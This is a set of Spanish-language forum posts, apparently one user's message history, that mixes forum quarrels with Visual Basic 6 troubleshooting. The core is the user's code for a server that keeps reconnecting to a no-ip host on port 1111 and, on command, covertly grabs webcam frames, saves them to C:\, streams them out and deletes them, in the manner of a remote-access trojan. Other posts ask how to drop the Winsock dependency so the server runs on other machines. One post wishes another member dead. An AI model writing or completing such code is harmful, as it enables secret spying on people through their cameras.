Mensajes

si van a poner a alguien digo para mi el mejor: Lympex.

Yo tambien tengo mi favorito, aunque quizas debiera renacer de sus cenizas...por el tiempo que hace que no postea , pero por los post que he visto, para mi sin duda es el mejor :
Slasher-K

Está baneado de por vida por defender una postura. Además a ese pendejo no lo soporto, ojalá que se muera!! xD.

Saludos.

por defender una postura  ................................... 

Tiene el otro pc en su ordenador el winsock control tambien?

Si, puede ser eso, tú router, firewall, la ip crees que es la correcta y no lo sea..salu2.

Pon esto en el Form_Load()

Código:
Command1.Caption = "cmdok"


Un saludo

eso es el caption...creo que se refiere al nombre..: colocas un commandbuton: por defecto el primero sera: Command1, te vas a la propiedad Name: y pones cmdok... y si quieres como bien dice Benru le pones el caption asi tal cual como el dice. salu2.

no existe ese boton...tú puedes renombrar un boton... eso lo viste en el tuto de xenon...¬¬ porque no primero lees un poquito 

Command1 lo puedes renombrar a...cmdok....cmeantoja...boton1...AB1.. lo que quieras amigo.

asi tengo el codigo:

General:

Código [Seleccionar] Expandir

Dim WithEvents sock As CSocketMaster
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Dim eipi As String * 30, p As String * 5, datos As String


'---delcaramos eipi con un maximo d 30 caracteres , p con maximo de 5, delcaramos la api sendmessage para la webcam nos  sirve.


Form_Load:

Código [Seleccionar] Expandir

Private Sub Form_Load()
Set sock = New CSocketMaster
Timer1.Interval = 2000
eipi = "www.host.no-ip.com"
p = 1111
End Sub


Form_QueryUnload:

Código [Seleccionar] Expandir

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
On Error Resume Next
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
End Sub  ' enviamos disconect para dejar d enviar datos a la cam



Data_Arrival:

Código [Seleccionar] Expandir

Private Sub sock_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
sock.GetData datos

   If datos = "camon" Then
   Timer3.Enabled = True
   End If
   
   If datos = "camstop" Then
   Timer3.Enabled = False
   DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
   cammuere
   End If
   
   If datos = "cammuere" Then
   cammuere
   End If

Error:

End Sub



Timer1:

Código [Seleccionar] Expandir

Private Sub Timer1_Timer()    ' intervalo = 2000 ( 2 sg )
On Error Resume Next
If sock.State <> 7 Then
sock.CloseSck
sock.Connect eipi, p
Timer2.Enabled = True
End If
End Sub

Function camon:

Código [Seleccionar] Expandir

Private Function camon()
On Error Resume Next ' en caso d errror...
Dim lol As Integer ' val
Dim frago As Integer ' + val
Dim goblin As String
Timer3.Enabled = False  ' lo desabilitamos al timer
lol = FreeFile   ' Devuelve el siguiente numero de archivo valido que no esta en uso
frago = 8192  ' la val frago tiene un valor de 8kb
goblin = "c:\Juazcp.jpg"  ' goblin es = a ese paht & archivo
SendMessage mCapHwnd, DISCONNECT, 0, 0 ' por si estavamos conectados enviando datos, antes de volver a conectar desconectamos.
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
SendMessage mCapHwnd, Connect, 0, 0
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
PV.Picture = Clipboard.GetData ' almacenamos  lo datos del clipboard en el picture
SavePicture PV.Picture, "c:\" & "Juaz.jpg" 'ahora salvamos la imagen del picture en esa ruta
PictureView1.OpenPicture ("c:\Juaz.jpg")  ' abrimos la imagen con el control pictureview
If PictureView1.SaveJPEG("C:\Juazcp.jpg", True, 50) Then
Else  ' la guardamos con una calidad de "50" para bajarle el peso
End If ' fin d la condicion if
Kill ("c:\Juaz.jpg")  ' eliminamos la primera captura que salvamos.
Open goblin For Binary As #lol ' abrimos n modo binario
Do While Not EOF(lol)  ' analizamos el tamaño del archivo en bytes
camun = Input(frago, #lol)  ' en camun metemos esos datos
sock.SendData camun ' los vamos enviando
DoEvents
Loop ' vuelta arriba hasta terminar con el tamaño y d haberlo enviado todo
Close #lol ' cerramos
cammuere ' ejecutamos esta funcion..que lo k hace esta bien claro, solo es irte a la funcion.
Timer3.Enabled = True  ' lo abilitamos
End Function 

Function cammuere:

Código [Seleccionar] Expandir

Private Function cammuere()
On Error Resume Next
Kill ("c:\Juazcp.jpg")
End Function

Timer3:

Código [Seleccionar] Expandir

Private Sub Timer3_Timer()  ' esta desabilitado y de intervalo 1500
On Error Resume Next
camon
End Sub

Pues asi lo tengo con los modulos que ya dije Y SIN..el control winsock..no se lo añadi. Con migo: 127.0.0.1 si conecta, con otras maquinas NO!!...solo conecta con otras maquinas cuando esta la dichosa ocx..en esa maquina..y si por ejemplo intento volverle a añadir el winsock y sacar los modulos estos pues...tampoco conecta..hasta que: hago un projecto nuevo...eso es todo salu2.

PD: ojala alguien me pueda ayudar, no se que pueda ser.

si ahora si me corre...se me olvido quitar el winsock.. pero ahora tengo otro problema...no me conecta con otars maquinas...ni ejecutando el server en esa maquina..solo me conecta en la mia 

Buenas estoy con una aplicacion client/server que lleva el control winsock y para quitarle la dependencia estoy husando estos modulos CSocketMaster.cls &  modSocketMaster.bas, el control winsock del server quien quiero quitarle la dependencia no tiene index, luego hago esto en el general declaro:

Public WithEvents s As CSocketMaster

y n el form load:

Private Sub Form_Load()
Set S = New CSocketMaster..
....

a todos los Close añado: CloseSck

todo bien, compilo y listo, pero cuando corro l servidor en una maquina sin Mswinsck.ocx me bota error  diciendo que no se ha registrado correctamente o que es file esta perdido o es invalido, y me marca a la dichosa ocx... porque no me anda bien si lo he echo como he leido en foros, google...y nada   

eso era todo, salu2.
'------------------------------MODIFICADO:--------------------------'

He probado ha cambiar los modulos por otros...y lo mismo..nada.

Private Sub tcpServer_ConnectionRequest(Index As Integer, ByVal requestID As Long)
If Index = 0 Then
        intmax = intmax + 1
        Load tcpServer(intmax)
        tcpServer(intmax).Accept requestID
        Load txtData(intmax)   <---- eso de txtData que es ¬¬ ?
    End If
End Sub

no veo ninguna declaración ni control con ese nombre...............que podra ser ? ¬¬

Buenas, pues tengo una aplicación que captura la pantala, usa winsock, cliente/servidor, pues cuando hace la primera captura o va por la tercer, aveces antes otras despues, pues se me cuelga y se tiene que cerrar error ... y me señala asycfilt.dll <--- esa dll no ce porque pasa esto, tb digo que no siempre pasa esto, alomejor unos dias que va bien y otros se me cae..solo cuando capturo la screen y ya dije marca esa dll..en el error grave, envio el informe y me dice que no hay solucion concreta para este problema..pues eso es todo, salu2.

caray.. y todavia por un codigo asi... es como si yo acusara de plagio a alguien que usara la funcion FileExists() en delphi

Pero que carajo dices  enserio que carajo dices  pero no tienen ni put4 idea la mitad de los que hablan como que por ese codigo  va más alla , esto llega hasta la cabesoneria de una persona que creo que ya deje bien claro quien es que el no da su brazo a torser y me toca los que no son de tocar que el amigo este no sea más humilde y admita que ese codigo lo consigio a traves mio, dejense ya de opinari comentar más que parece que les gusta la guerra y aqui se va armar no sean tocatocas